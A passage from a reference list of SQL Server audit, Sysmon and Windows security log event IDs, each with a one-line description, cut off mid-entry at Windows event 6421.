Issued a delete database audit command (action_id DR class_type DU) SQL Server 24314 Issued a begin transaction command (action_id TXBG) SQL Server 24315 Issued a commit transaction command (action_id TXCM) SQL Server 24316 Issued a rollback transaction command (action_id TXRB) SQL Server 24317 Issued a create column master key command (action_id CR; class_type CM) SQL Server 24318 Issued a delete column master key command (action_id DR; class_type CM) SQL Server 24319 A column master key was viewed (action_id VW; class_type CM) SQL Server 24320 Issued a create column encryption key command (action_id CR; class_type CK) SQL Server 24321 Issued a change column encryption key command (action_id AL; class_type CK) SQL Server 24322 Issued a delete column encryption key command (action_id DR; class_type CK) SQL Server 24323 A column encryption key was viewed (action_id VW; class_type CK) SQL Server 24324 Issued a create database credential command (action_id CR; class_type DC) SQL Server 24325 Issued a change database credential command (action_id AL; class_type DC) SQL Server 24326 Issued a delete database credential command (action_id DR; class_type DC) SQL Server 24327 Issued a change database scoped configuration command (action_id AL; class_type DS) SQL Server 24328 Issued a create external data source command (action_id CR; class_type ED) SQL Server 24329 Issued a change external data source command (action_id AL; class_type ED) SQL Server 24330 Issued a delete external data source command (action_id DR; class_type ED) SQL Server 24331 Issued a create external file format command (action_id CR; class_type EF) SQL Server 24332 Issued a delete external file format command (action_id DR; class_type EF) SQL Server 24333 Issued a create external resource pool command (action_id CR; class_type ER) SQL Server 24334 Issued a change external resource pool command (action_id AL; class_type ER) SQL Server 24335 Issued a delete external resource pool command (action_id DR; class_type ER) SQL Server 24337 Global transaction login (action_id LGG) SQL Server 24338 Grant permissions on a database scoped credential succeeded (action_id G; class_type DC) SQL Server 24339 Grant permissions on a database scoped credential failed (action_id G; class_type DC) SQL Server 24340 Grant permissions on a database scoped credential with grant succeeded (action_id GWG; class_type DC) SQL Server 24341 Grant permissions on a database scoped credential with grant failed (action_id GWG; class_type DC) SQL Server 24342 Deny permissions on a database scoped credential succeeded (action_id D; class_type DC) SQL Server 24343 Deny permissions on a database scoped credential failed (action_id D; class_type DC) SQL Server 24344 Deny permissions on a database scoped credential with cascade succeeded (action_id DWC; class_type DC) SQL Server 24345 Deny permissions on a database scoped credential with cascade failed (action_id DWC; class_type DC) SQL Server 24346 Revoke permissions on a database scoped credential succeeded (action_id R; class_type DC) SQL Server 24347 Revoke permissions on a database scoped credential failed (action_id R; class_type DC) SQL Server 24348 Revoke permissions with cascade on a database scoped credential succeeded (action_id RWC; class_type DC) SQL Server 24349 Issued a change assembly owner command (action_id TO class_type AS) SQL Server 24350 Revoke permissions with cascade on a database scoped credential failed (action_id RWC; class_type DC) SQL Server 24351 Revoke permissions with grant on a database scoped credential succeeded (action_id RWG; class_type DC) SQL Server 24352 Revoke permissions with grant on a database scoped credential failed (action_id RWG; class_type DC) SQL Server 24353 Issued a change database scoped credential owner command (action_id TO; class_type DC) SQL Server 24354 Issued a create external library command (action_id CR; class_type EL) SQL Server 24355 Issued a change external library command (action_id AL; class_type EL) SQL Server 24356 Issued a drop external library command (action_id DR; class_type EL) SQL Server 24357 Grant permissions on an external library succeeded (action_id G; class_type EL) SQL Server 24358 Grant permissions on an external library failed (action_id G; class_type EL) SQL Server 24359 Grant permissions on an external library with grant succeeded (action_id GWG; class_type EL) SQL Server 24360 Grant permissions on an external library with grant failed (action_id GWG; class_type EL) SQL Server 24361 Deny permissions on an external library succeeded (action_id D; class_type EL) SQL Server 24362 Deny permissions on an external library failed (action_id D; class_type EL) SQL Server 24363 Deny permissions on an external library with cascade succeeded (action_id DWC; class_type EL) SQL Server 24364 Deny permissions on an external library with cascade failed (action_id DWC; class_type EL) SQL Server 24365 Revoke permissions on an external library succeeded (action_id R; class_type EL) SQL Server 24366 Revoke permissions on an external library failed (action_id R; class_type EL) SQL Server 24367 Revoke permissions with cascade on an external library succeeded (action_id RWC; class_type EL) SQL Server 24368 Revoke permissions with cascade on an external library failed (action_id RWC; class_type EL) SQL Server 24369 Revoke permissions with grant on an external library succeeded (action_id RWG; class_type EL) SQL Server 24370 Revoke permissions with grant on an external library failed (action_id RWG; class_type EL) SQL Server 24371 Issued a create database scoped resource governor command (action_id CR; class_type DR) SQL Server 24372 Issued a change database scoped resource governor command (action_id AL; class_type DR) SQL Server 24373 Issued a drop database scoped resource governor command (action_id DR; class_type DR) SQL Server 24374 Issued a database bulk administration command (action_id DABO; class_type DB) SQL Server 24375 Command to change permission failed (action_id D, DWC, G, GWG, R, RWC, RWG; class_type DC, EL) Sysmon 1 Process creation Sysmon 2 A process changed a file creation time Sysmon 3 Network connection Sysmon 4 Sysmon service state changed Sysmon 5 Process terminated Sysmon 6 Driver loaded Sysmon 7 Image loaded Sysmon 8 CreateRemoteThread Sysmon 9 RawAccessRead Sysmon 10 ProcessAccess Sysmon 11 FileCreate Sysmon 12 RegistryEvent (Object create and delete) Sysmon 13 RegistryEvent (Value Set) Sysmon 14 RegistryEvent (Key and Value Rename) Sysmon 15 FileCreateStreamHash Sysmon 16 Sysmon config state changed Sysmon 17 Pipe created Sysmon 18 Pipe connected Sysmon 19 WmiEventFilter activity detected Sysmon 20 WmiEventConsumer activity detected Sysmon 21 WmiEventConsumerToFilter activity detected Sysmon 22 DNSEvent Sysmon 23 FileDelete Sysmon 24 ClipboardChange Sysmon 225 Error Windows 512 Windows NT is starting up Windows 513 Windows is shutting down Windows 514 An authentication package has been loaded by the Local Security Authority Windows 515 A trusted logon process has registered with the Local Security Authority Windows 516 Internal resources allocated for the queuing of audit messages have been exhausted, leading to the loss of some audits Windows 517 The audit log was cleared Windows 518 A notification package has been loaded by the Security Account Manager Windows 519 A process is using an invalid local procedure call (LPC) port Windows 520 The system time was changed Windows 521 Unable to log events to security log Windows 528 Successful Logon Windows 529 Logon Failure - Unknown user name or bad password Windows 530 Logon Failure - Account logon time restriction violation Windows 531 Logon Failure - Account currently disabled Windows 532 Logon Failure - The specified user account has expired Windows 533 Logon Failure - User not allowed to logon at this computer Windows 534 Logon Failure - The user has not been granted the requested logon type at this machine Windows 535 Logon Failure - The specified account's password has expired Windows 536 Logon Failure - The NetLogon component is not active Windows 537 Logon failure - The logon attempt failed for other reasons. Windows 538 User Logoff Windows 539 Logon Failure - Account locked out Windows 540 Successful Network Logon Windows 551 User initiated logoff Windows 552 Logon attempt using explicit credentials Windows 560 Object Open Windows 561 Handle Allocated Windows 562 Handle Closed Windows 563 Object Open for Delete Windows 564 Object Deleted Windows 565 Object Open (Active Directory) Windows 566 Object Operation (W3 Active Directory) Windows 567 Object Access Attempt Windows 576 Special privileges assigned to new logon Windows 577 Privileged Service Called Windows 578 Privileged object operation Windows 592 A new process has been created Windows 593 A process has exited Windows 594 A handle to an object has been duplicated Windows 595 Indirect access to an object has been obtained Windows 596 Backup of data protection master key Windows 600 A process was assigned a primary token Windows 601 Attempt to install service Windows 602 Scheduled Task created Windows 608 User Right Assigned Windows 609 User Right Removed Windows 610 New Trusted Domain Windows 611 Removing Trusted Domain Windows 612 Audit Policy Change Windows 613 IPSec policy agent started Windows 614 IPSec policy agent disabled Windows 615 IPSEC PolicyAgent Service Windows 616 IPSec policy agent encountered a potentially serious failure. Windows 617 Kerberos Policy Changed Windows 618 Encrypted Data Recovery Policy Changed Windows 619 Quality of Service Policy Changed Windows 620 Trusted Domain Information Modified Windows 621 System Security Access Granted Windows 622 System Security Access Removed Windows 623 Per User Audit Policy was refreshed Windows 624 User Account Created Windows 625 User Account Type Changed Windows 626 User Account Enabled Windows 627 Change Password Attempt Windows 628 User Account password set Windows 629 User Account Disabled Windows 630 User Account Deleted Windows 631 Security Enabled Global Group Created Windows 632 Security Enabled Global Group Member Added Windows 633 Security Enabled Global Group Member Removed Windows 634 Security Enabled Global Group Deleted Windows 635 Security Enabled Local Group Created Windows 636 Security Enabled Local Group Member Added Windows 637 Security Enabled Local Group Member Removed Windows 638 Security Enabled Local Group Deleted Windows 639 Security Enabled Local Group Changed Windows 640 General Account Database Change Windows 641 Security Enabled Global Group Changed Windows 642 User Account Changed Windows 643 Domain Policy Changed Windows 644 User Account Locked Out Windows 645 Computer Account Created Windows 646 Computer Account Changed Windows 647 Computer Account Deleted Windows 648 Security Disabled Local Group Created Windows 649 Security Disabled Local Group Changed Windows 650 Security Disabled Local Group Member Added Windows 651 Security Disabled Local Group Member Removed Windows 652 Security Disabled Local Group Deleted Windows 653 Security Disabled Global Group Created Windows 654 Security Disabled Global Group Changed Windows 655 Security Disabled Global Group Member Added Windows 656 Security Disabled Global Group Member Removed Windows 657 Security Disabled Global Group Deleted Windows 658 Security Enabled Universal Group Created Windows 659 Security Enabled Universal Group Changed Windows 660 Security Enabled Universal Group Member Added Windows 661 Security Enabled Universal Group Member Removed Windows 662 Security Enabled Universal Group Deleted Windows 663 Security Disabled Universal Group Created Windows 664 Security Disabled Universal Group Changed Windows 665 Security Disabled Universal Group Member Added Windows 666 Security Disabled Universal Group Member Removed Windows 667 Security Disabled Universal Group Deleted Windows 668 Group Type Changed Windows 669 Add SID History Windows 670 Add SID History Windows 671 User Account Unlocked Windows 672 Authentication Ticket Granted Windows 673 Service Ticket Granted Windows 674 Ticket Granted Renewed Windows 675 Pre-authentication failed Windows 676 Authentication Ticket Request Failed Windows 677 Service Ticket Request Failed Windows 678 Account Mapped for Logon by Windows 679 The name: %2 could not be mapped for logon by: %1 Windows 680 Account Used for Logon by Windows 681 The logon to account: %2 by: %1 from workstation: %3 failed. Windows 682 Session reconnected to winstation Windows 683 Session disconnected from winstation Windows 684 Set ACLs of members in administrators groups Windows 685 Account Name Changed Windows 686 Password of the following user accessed Windows 687 Basic Application Group Created Windows 688 Basic Application Group Changed Windows 689 Basic Application Group Member Added Windows 690 Basic Application Group Member Removed Windows 691 Basic Application Group Non-Member Added Windows 692 Basic Application Group Non-Member Removed Windows 693 Basic Application Group Deleted Windows 694 LDAP Query Group Created Windows 695 LDAP Query Group Changed Windows 696 LDAP Query Group Deleted Windows 697 Password Policy Checking API is called Windows 806 Per User Audit Policy was refreshed Windows 807 Per user auditing policy set for user Windows 808 A security event source has attempted to register Windows 809 A security event source has attempted to unregister Windows 848 The following policy was active when the Windows Firewall started Windows 849 An application was listed as an exception when the Windows Firewall started Windows 850 A port was listed as an exception when the Windows Firewall started Windows 851 A change has been made to the Windows Firewall application exception list Windows 852 A change has been made to the Windows Firewall port exception list Windows 853 The Windows Firewall operational mode has changed Windows 854 The Windows Firewall logging settings have changed Windows 855 A Windows Firewall ICMP setting has changed Windows 856 The Windows Firewall setting to allow unicast responses to multicast/broadcast traffic has changed Windows 857 The Windows Firewall setting to allow remote administration, allowing port TCP 135 and DCOM/RPC, has changed Windows 858 Windows Firewall group policy settings have been applied Windows 859 The Windows Firewall group policy settings have been removed Windows 860 The Windows Firewall has switched the active policy profile Windows 861 The Windows Firewall has detected an application listening for incoming traffic Windows 1100 The event logging service has shut down Windows 1101 Audit events have been dropped by the transport. Windows 1102 The audit log was cleared Windows 1104 The security Log is now full Windows 1105 Event log automatic backup Windows 1108 The event logging service encountered an error Windows 4608 Windows is starting up Windows 4609 Windows is shutting down Windows 4610 An authentication package has been loaded by the Local Security Authority Windows 4611 A trusted logon process has been registered with the Local Security Authority Windows 4612 Internal resources allocated for the queuing of audit messages have been exhausted, leading to the loss of some audits. Windows 4614 A notification package has been loaded by the Security Account Manager. Windows 4615 Invalid use of LPC port Windows 4616 The system time was changed. Windows 4618 A monitored security event pattern has occurred Windows 4621 Administrator recovered system from CrashOnAuditFail Windows 4622 A security package has been loaded by the Local Security Authority. Windows 4624 An account was successfully logged on Windows 4625 An account failed to log on Windows 4626 User/Device claims information Windows 4627 Group membership information. Windows 4634 An account was logged off Windows 4646 IKE DoS-prevention mode started Windows 4647 User initiated logoff Windows 4648 A logon was attempted using explicit credentials Windows 4649 A replay attack was detected Windows 4650 An IPsec Main Mode security association was established Windows 4651 An IPsec Main Mode security association was established Windows 4652 An IPsec Main Mode negotiation failed Windows 4653 An IPsec Main Mode negotiation failed Windows 4654 An IPsec Quick Mode negotiation failed Windows 4655 An IPsec Main Mode security association ended Windows 4656 A handle to an object was requested Windows 4657 A registry value was modified Windows 4658 The handle to an object was closed Windows 4659 A handle to an object was requested with intent to delete Windows 4660 An object was deleted Windows 4661 A handle to an object was requested Windows 4662 An operation was performed on an object Windows 4663 An attempt was made to access an object Windows 4664 An attempt was made to create a hard link Windows 4665 An attempt was made to create an application client context. Windows 4666 An application attempted an operation Windows 4667 An application client context was deleted Windows 4668 An application was initialized Windows 4670 Permissions on an object were changed Windows 4671 An application attempted to access a blocked ordinal through the TBS Windows 4672 Special privileges assigned to new logon Windows 4673 A privileged service was called Windows 4674 An operation was attempted on a privileged object Windows 4675 SIDs were filtered Windows 4688 A new process has been created Windows 4689 A process has exited Windows 4690 An attempt was made to duplicate a handle to an object Windows 4691 Indirect access to an object was requested Windows 4692 Backup of data protection master key was attempted Windows 4693 Recovery of data protection master key was attempted Windows 4694 Protection of auditable protected data was attempted Windows 4695 Unprotection of auditable protected data was attempted Windows 4696 A primary token was assigned to process Windows 4697 A service was installed in the system Windows 4698 A scheduled task was created Windows 4699 A scheduled task was deleted Windows 4700 A scheduled task was enabled Windows 4701 A scheduled task was disabled Windows 4702 A scheduled task was updated Windows 4703 A token right was adjusted Windows 4704 A user right was assigned Windows 4705 A user right was removed Windows 4706 A new trust was created to a domain Windows 4707 A trust to a domain was removed Windows 4709 IPsec Services was started Windows 4710 IPsec Services was disabled Windows 4711 PAStore Engine (1%) Windows 4712 IPsec Services encountered a potentially serious failure Windows 4713 Kerberos policy was changed Windows 4714 Encrypted data recovery policy was changed Windows 4715 The audit policy (SACL) on an object was changed Windows 4716 Trusted domain information was modified Windows 4717 System security access was granted to an account Windows 4718 System security access was removed from an account Windows 4719 System audit policy was changed Windows 4720 A user account was created Windows 4722 A user account was enabled Windows 4723 An attempt was made to change an account's password Windows 4724 An attempt was made to reset an accounts password Windows 4725 A user account was disabled Windows 4726 A user account was deleted Windows 4727 A security-enabled global group was created Windows 4728 A member was added to a security-enabled global group Windows 4729 A member was removed from a security-enabled global group Windows 4730 A security-enabled global group was deleted Windows 4731 A security-enabled local group was created Windows 4732 A member was added to a security-enabled local group Windows 4733 A member was removed from a security-enabled local group Windows 4734 A security-enabled local group was deleted Windows 4735 A security-enabled local group was changed Windows 4737 A security-enabled global group was changed Windows 4738 A user account was changed Windows 4739 Domain Policy was changed Windows 4740 A user account was locked out Windows 4741 A computer account was created Windows 4742 A computer account was changed Windows 4743 A computer account was deleted Windows 4744 A security-disabled local group was created Windows 4745 A security-disabled local group was changed Windows 4746 A member was added to a security-disabled local group Windows 4747 A member was removed from a security-disabled local group Windows 4748 A security-disabled local group was deleted Windows 4749 A security-disabled global group was created Windows 4750 A security-disabled global group was changed Windows 4751 A member was added to a security-disabled global group Windows 4752 A member was removed from a security-disabled global group Windows 4753 A security-disabled global group was deleted Windows 4754 A security-enabled universal group was created Windows 4755 A security-enabled universal group was changed Windows 4756 A member was added to a security-enabled universal group Windows 4757 A member was removed from a security-enabled universal group Windows 4758 A security-enabled universal group was deleted Windows 4759 A security-disabled universal group was created Windows 4760 A security-disabled universal group was changed Windows 4761 A member was added to a security-disabled universal group Windows 4762 A member was removed from a security-disabled universal group Windows 4763 A security-disabled universal group was deleted Windows 4764 A groups type was changed Windows 4765 SID History was added to an account Windows 4766 An attempt to add SID History to an account failed Windows 4767 A user account was unlocked Windows 4768 A Kerberos authentication ticket (TGT) was requested Windows 4769 A Kerberos service ticket was requested Windows 4770 A Kerberos service ticket was renewed Windows 4771 Kerberos pre-authentication failed Windows 4772 A Kerberos authentication ticket request failed Windows 4773 A Kerberos service ticket request failed Windows 4774 An account was mapped for logon Windows 4775 An account could not be mapped for logon Windows 4776 The domain controller attempted to validate the credentials for an account Windows 4777 The domain controller failed to validate the credentials for an account Windows 4778 A session was reconnected to a Window Station Windows 4779 A session was disconnected from a Window Station Windows 4780 The ACL was set on accounts which are members of administrators groups Windows 4781 The name of an account was changed Windows 4782 The password hash an account was accessed Windows 4783 A basic application group was created Windows 4784 A basic application group was changed Windows 4785 A member was added to a basic application group Windows 4786 A member was removed from a basic application group Windows 4787 A non-member was added to a basic application group Windows 4788 A non-member was removed from a basic application group.. Windows 4789 A basic application group was deleted Windows 4790 An LDAP query group was created Windows 4791 A basic application group was changed Windows 4792 An LDAP query group was deleted Windows 4793 The Password Policy Checking API was called Windows 4794 An attempt was made to set the Directory Services Restore Mode administrator password Windows 4797 An attempt was made to query the existence of a blank password for an account Windows 4798 A user's local group membership was enumerated. Windows 4799 A security-enabled local group membership was enumerated Windows 4800 The workstation was locked Windows 4801 The workstation was unlocked Windows 4802 The screen saver was invoked Windows 4803 The screen saver was dismissed Windows 4816 RPC detected an integrity violation while decrypting an incoming message Windows 4817 Auditing settings on object were changed. Windows 4818 Proposed Central Access Policy does not grant the same access permissions as the current Central Access Policy Windows 4819 Central Access Policies on the machine have been changed Windows 4820 A Kerberos Ticket-granting-ticket (TGT) was denied because the device does not meet the access control restrictions Windows 4821 A Kerberos service ticket was denied because the user, device, or both does not meet the access control restrictions Windows 4822 NTLM authentication failed because the account was a member of the Protected User group Windows 4823 NTLM authentication failed because access control restrictions are required Windows 4824 Kerberos preauthentication by using DES or RC4 failed because the account was a member of the Protected User group Windows 4825 A user was denied the access to Remote Desktop. By default, users are allowed to connect only if they are members of the Remote Desktop Users group or Administrators group Windows 4826 Boot Configuration Data loaded Windows 4830 SID History was removed from an account Windows 4864 A namespace collision was detected Windows 4865 A trusted forest information entry was added Windows 4866 A trusted forest information entry was removed Windows 4867 A trusted forest information entry was modified Windows 4868 The certificate manager denied a pending certificate request Windows 4869 Certificate Services received a resubmitted certificate request Windows 4870 Certificate Services revoked a certificate Windows 4871 Certificate Services received a request to publish the certificate revocation list (CRL) Windows 4872 Certificate Services published the certificate revocation list (CRL) Windows 4873 A certificate request extension changed Windows 4874 One or more certificate request attributes changed. Windows 4875 Certificate Services received a request to shut down Windows 4876 Certificate Services backup started Windows 4877 Certificate Services backup completed Windows 4878 Certificate Services restore started Windows 4879 Certificate Services restore completed Windows 4880 Certificate Services started Windows 4881 Certificate Services stopped Windows 4882 The security permissions for Certificate Services changed Windows 4883 Certificate Services retrieved an archived key Windows 4884 Certificate Services imported a certificate into its database Windows 4885 The audit filter for Certificate Services changed Windows 4886 Certificate Services received a certificate request Windows 4887 Certificate Services approved a certificate request and issued a certificate Windows 4888 Certificate Services denied a certificate request Windows 4889 Certificate Services set the status of a certificate request to pending Windows 4890 The certificate manager settings for Certificate Services changed. Windows 4891 A configuration entry changed in Certificate Services Windows 4892 A property of Certificate Services changed Windows 4893 Certificate Services archived a key Windows 4894 Certificate Services imported and archived a key Windows 4895 Certificate Services published the CA certificate to Active Directory Domain Services Windows 4896 One or more rows have been deleted from the certificate database Windows 4897 Role separation enabled Windows 4898 Certificate Services loaded a template Windows 4899 A Certificate Services template was updated Windows 4900 Certificate Services template security was updated Windows 4902 The Per-user audit policy table was created Windows 4904 An attempt was made to register a security event source Windows 4905 An attempt was made to unregister a security event source Windows 4906 The CrashOnAuditFail value has changed Windows 4907 Auditing settings on object were changed Windows 4908 Special Groups Logon table modified Windows 4909 The local policy settings for the TBS were changed Windows 4910 The group policy settings for the TBS were changed Windows 4911 Resource attributes of the object were changed Windows 4912 Per User Audit Policy was changed Windows 4913 Central Access Policy on the object was changed Windows 4928 An Active Directory replica source naming context was established Windows 4929 An Active Directory replica source naming context was removed Windows 4930 An Active Directory replica source naming context was modified Windows 4931 An Active Directory replica destination naming context was modified Windows 4932 Synchronization of a replica of an Active Directory naming context has begun Windows 4933 Synchronization of a replica of an Active Directory naming context has ended Windows 4934 Attributes of an Active Directory object were replicated Windows 4935 Replication failure begins Windows 4936 Replication failure ends Windows 4937 A lingering object was removed from a replica Windows 4944 The following policy was active when the Windows Firewall started Windows 4945 A rule was listed when the Windows Firewall started Windows 4946 A change has been made to Windows Firewall exception list. A rule was added Windows 4947 A change has been made to Windows Firewall exception list. A rule was modified Windows 4948 A change has been made to Windows Firewall exception list. A rule was deleted Windows 4949 Windows Firewall settings were restored to the default values Windows 4950 A Windows Firewall setting has changed Windows 4951 A rule has been ignored because its major version number was not recognized by Windows Firewall Windows 4952 Parts of a rule have been ignored because its minor version number was not recognized by Windows Firewall Windows 4953 A rule has been ignored by Windows Firewall because it could not parse the rule Windows 4954 Windows Firewall Group Policy settings has changed. The new settings have been applied Windows 4956 Windows Firewall has changed the active profile Windows 4957 Windows Firewall did not apply the following rule Windows 4958 Windows Firewall did not apply the following rule because the rule referred to items not configured on this computer Windows 4960 IPsec dropped an inbound packet that failed an integrity check Windows 4961 IPsec dropped an inbound packet that failed a replay check Windows 4962 IPsec dropped an inbound packet that failed a replay check Windows 4963 IPsec dropped an inbound clear text packet that should have been secured Windows 4964 Special groups have been assigned to a new logon Windows 4965 IPsec received a packet from a remote computer with an incorrect Security Parameter Index (SPI). Windows 4976 During Main Mode negotiation, IPsec received an invalid negotiation packet. Windows 4977 During Quick Mode negotiation, IPsec received an invalid negotiation packet. Windows 4978 During Extended Mode negotiation, IPsec received an invalid negotiation packet. Windows 4979 IPsec Main Mode and Extended Mode security associations were established. Windows 4980 IPsec Main Mode and Extended Mode security associations were established Windows 4981 IPsec Main Mode and Extended Mode security associations were established Windows 4982 IPsec Main Mode and Extended Mode security associations were established Windows 4983 An IPsec Extended Mode negotiation failed Windows 4984 An IPsec Extended Mode negotiation failed Windows 4985 The state of a transaction has changed Windows 5024 The Windows Firewall Service has started successfully Windows 5025 The Windows Firewall Service has been stopped Windows 5027 The Windows Firewall Service was unable to retrieve the security policy from the local storage Windows 5028 The Windows Firewall Service was unable to parse the new security policy. Windows 5029 The Windows Firewall Service failed to initialize the driver Windows 5030 The Windows Firewall Service failed to start Windows 5031 The Windows Firewall Service blocked an application from accepting incoming connections on the network. Windows 5032 Windows Firewall was unable to notify the user that it blocked an application from accepting incoming connections on the network Windows 5033 The Windows Firewall Driver has started successfully Windows 5034 The Windows Firewall Driver has been stopped Windows 5035 The Windows Firewall Driver failed to start Windows 5037 The Windows Firewall Driver detected critical runtime error. Terminating Windows 5038 Code integrity determined that the image hash of a file is not valid Windows 5039 A registry key was virtualized. Windows 5040 A change has been made to IPsec settings. An Authentication Set was added. Windows 5041 A change has been made to IPsec settings. An Authentication Set was modified Windows 5042 A change has been made to IPsec settings. An Authentication Set was deleted Windows 5043 A change has been made to IPsec settings. A Connection Security Rule was added Windows 5044 A change has been made to IPsec settings. A Connection Security Rule was modified Windows 5045 A change has been made to IPsec settings. A Connection Security Rule was deleted Windows 5046 A change has been made to IPsec settings. A Crypto Set was added Windows 5047 A change has been made to IPsec settings. A Crypto Set was modified Windows 5048 A change has been made to IPsec settings. A Crypto Set was deleted Windows 5049 An IPsec Security Association was deleted Windows 5050 An attempt to programmatically disable the Windows Firewall using a call to INetFwProfile.FirewallEnabled(FALSE Windows 5051 A file was virtualized Windows 5056 A cryptographic self test was performed Windows 5057 A cryptographic primitive operation failed Windows 5058 Key file operation Windows 5059 Key migration operation Windows 5060 Verification operation failed Windows 5061 Cryptographic operation Windows 5062 A kernel-mode cryptographic self test was performed Windows 5063 A cryptographic provider operation was attempted Windows 5064 A cryptographic context operation was attempted Windows 5065 A cryptographic context modification was attempted Windows 5066 A cryptographic function operation was attempted Windows 5067 A cryptographic function modification was attempted Windows 5068 A cryptographic function provider operation was attempted Windows 5069 A cryptographic function property operation was attempted Windows 5070 A cryptographic function property operation was attempted Windows 5071 Key access denied by Microsoft key distribution service Windows 5120 OCSP Responder Service Started Windows 5121 OCSP Responder Service Stopped Windows 5122 A Configuration entry changed in the OCSP Responder Service Windows 5123 A configuration entry changed in the OCSP Responder Service Windows 5124 A security setting was updated on OCSP Responder Service Windows 5125 A request was submitted to OCSP Responder Service Windows 5126 Signing Certificate was automatically updated by the OCSP Responder Service Windows 5127 The OCSP Revocation Provider successfully updated the revocation information Windows 5136 A directory service object was modified Windows 5137 A directory service object was created Windows 5138 A directory service object was undeleted Windows 5139 A directory service object was moved Windows 5140 A network share object was accessed Windows 5141 A directory service object was deleted Windows 5142 A network share object was added. Windows 5143 A network share object was modified Windows 5144 A network share object was deleted. Windows 5145 A network share object was checked to see whether client can be granted desired access Windows 5146 The Windows Filtering Platform has blocked a packet Windows 5147 A more restrictive Windows Filtering Platform filter has blocked a packet Windows 5148 The Windows Filtering Platform has detected a DoS attack and entered a defensive mode; packets associated with this attack will be discarded. Windows 5149 The DoS attack has subsided and normal processing is being resumed. Windows 5150 The Windows Filtering Platform has blocked a packet. Windows 5151 A more restrictive Windows Filtering Platform filter has blocked a packet. Windows 5152 The Windows Filtering Platform blocked a packet Windows 5153 A more restrictive Windows Filtering Platform filter has blocked a packet Windows 5154 The Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections Windows 5155 The Windows Filtering Platform has blocked an application or service from listening on a port for incoming connections Windows 5156 The Windows Filtering Platform has allowed a connection Windows 5157 The Windows Filtering Platform has blocked a connection Windows 5158 The Windows Filtering Platform has permitted a bind to a local port Windows 5159 The Windows Filtering Platform has blocked a bind to a local port Windows 5168 Spn check for SMB/SMB2 fails. Windows 5169 A directory service object was modified Windows 5170 A directory service object was modified during a background cleanup task Windows 5376 Credential Manager credentials were backed up Windows 5377 Credential Manager credentials were restored from a backup Windows 5378 The requested credentials delegation was disallowed by policy Windows 5379 Credential Manager credentials were read Windows 5380 Vault Find Credential Windows 5381 Vault credentials were read Windows 5382 Vault credentials were read Windows 5440 The following callout was present when the Windows Filtering Platform Base Filtering Engine started Windows 5441 The following filter was present when the Windows Filtering Platform Base Filtering Engine started Windows 5442 The following provider was present when the Windows Filtering Platform Base Filtering Engine started Windows 5443 The following provider context was present when the Windows Filtering Platform Base Filtering Engine started Windows 5444 The following sub-layer was present when the Windows Filtering Platform Base Filtering Engine started Windows 5446 A Windows Filtering Platform callout has been changed Windows 5447 A Windows Filtering Platform filter has been changed Windows 5448 A Windows Filtering Platform provider has been changed Windows 5449 A Windows Filtering Platform provider context has been changed Windows 5450 A Windows Filtering Platform sub-layer has been changed Windows 5451 An IPsec Quick Mode security association was established Windows 5452 An IPsec Quick Mode security association ended Windows 5453 An IPsec negotiation with a remote computer failed because the IKE and AuthIP IPsec Keying Modules (IKEEXT) service is not started Windows 5456 PAStore Engine applied Active Directory storage IPsec policy on the computer Windows 5457 PAStore Engine failed to apply Active Directory storage IPsec policy on the computer Windows 5458 PAStore Engine applied locally cached copy of Active Directory storage IPsec policy on the computer Windows 5459 PAStore Engine failed to apply locally cached copy of Active Directory storage IPsec policy on the computer Windows 5460 PAStore Engine applied local registry storage IPsec policy on the computer Windows 5461 PAStore Engine failed to apply local registry storage IPsec policy on the computer Windows 5462 PAStore Engine failed to apply some rules of the active IPsec policy on the computer Windows 5463 PAStore Engine polled for changes to the active IPsec policy and detected no changes Windows 5464 PAStore Engine polled for changes to the active IPsec policy, detected changes, and applied them to IPsec Services Windows 5465 PAStore Engine received a control for forced reloading of IPsec policy and processed the control successfully Windows 5466 PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory cannot be reached, and will use the cached copy of the Active Directory IPsec policy instead Windows 5467 PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory can be reached, and found no changes to the policy Windows 5468 PAStore Engine polled for changes to the Active Directory IPsec policy, determined that Active Directory can be reached, found changes to the policy, and applied those changes Windows 5471 PAStore Engine loaded local storage IPsec policy on the computer Windows 5472 PAStore Engine failed to load local storage IPsec policy on the computer Windows 5473 PAStore Engine loaded directory storage IPsec policy on the computer Windows 5474 PAStore Engine failed to load directory storage IPsec policy on the computer Windows 5477 PAStore Engine failed to add quick mode filter Windows 5478 IPsec Services has started successfully Windows 5479 IPsec Services has been shut down successfully Windows 5480 IPsec Services failed to get the complete list of network interfaces on the computer Windows 5483 IPsec Services failed to initialize RPC server. IPsec Services could not be started Windows 5484 IPsec Services has experienced a critical failure and has been shut down Windows 5485 IPsec Services failed to process some IPsec filters on a plug-and-play event for network interfaces Windows 5632 A request was made to authenticate to a wireless network Windows 5633 A request was made to authenticate to a wired network Windows 5712 A Remote Procedure Call (RPC) was attempted Windows 5888 An object in the COM+ Catalog was modified Windows 5889 An object was deleted from the COM+ Catalog Windows 5890 An object was added to the COM+ Catalog Windows 6144 Security policy in the group policy objects has been applied successfully Windows 6145 One or more errors occured while processing security policy in the group policy objects Windows 6272 Network Policy Server granted access to a user Windows 6273 Network Policy Server denied access to a user Windows 6274 Network Policy Server discarded the request for a user Windows 6275 Network Policy Server discarded the accounting request for a user Windows 6276 Network Policy Server quarantined a user Windows 6277 Network Policy Server granted access to a user but put it on probation because the host did not meet the defined health policy Windows 6278 Network Policy Server granted full access to a user because the host met the defined health policy Windows 6279 Network Policy Server locked the user account due to repeated failed authentication attempts Windows 6280 Network Policy Server unlocked the user account Windows 6281 Code Integrity determined that the page hashes of an image file are not valid... Windows 6400 BranchCache: Received an incorrectly formatted response while discovering availability of content. Windows 6401 BranchCache: Received invalid data from a peer. Data discarded. Windows 6402 BranchCache: The message to the hosted cache offering it data is incorrectly formatted. Windows 6403 BranchCache: The hosted cache sent an incorrectly formatted response to the client's message to offer it data. Windows 6404 BranchCache: Hosted cache could not be authenticated using the provisioned SSL certificate. Windows 6405 BranchCache: %2 instance(s) of event id %1 occurred. Windows 6406 %1 registered to Windows Firewall to control filtering for the following: Windows 6407 %1 Windows 6408 Registered product %1 failed and Windows Firewall is now controlling the filtering for %2. Windows 6409 BranchCache: A service connection point object could not be parsed Windows 6410 Code integrity determined that a file does not meet the security requirements to load into a process. This could be due to the use of shared sections or other issues Windows 6416 A new external device was recognized by the system. Windows 6417 The FIPS mode crypto selftests succeeded Windows 6418 The FIPS mode crypto selftests failed Windows 6419 A request was made to disable a device Windows 6420 A device was disabled Windows 6421 A request was 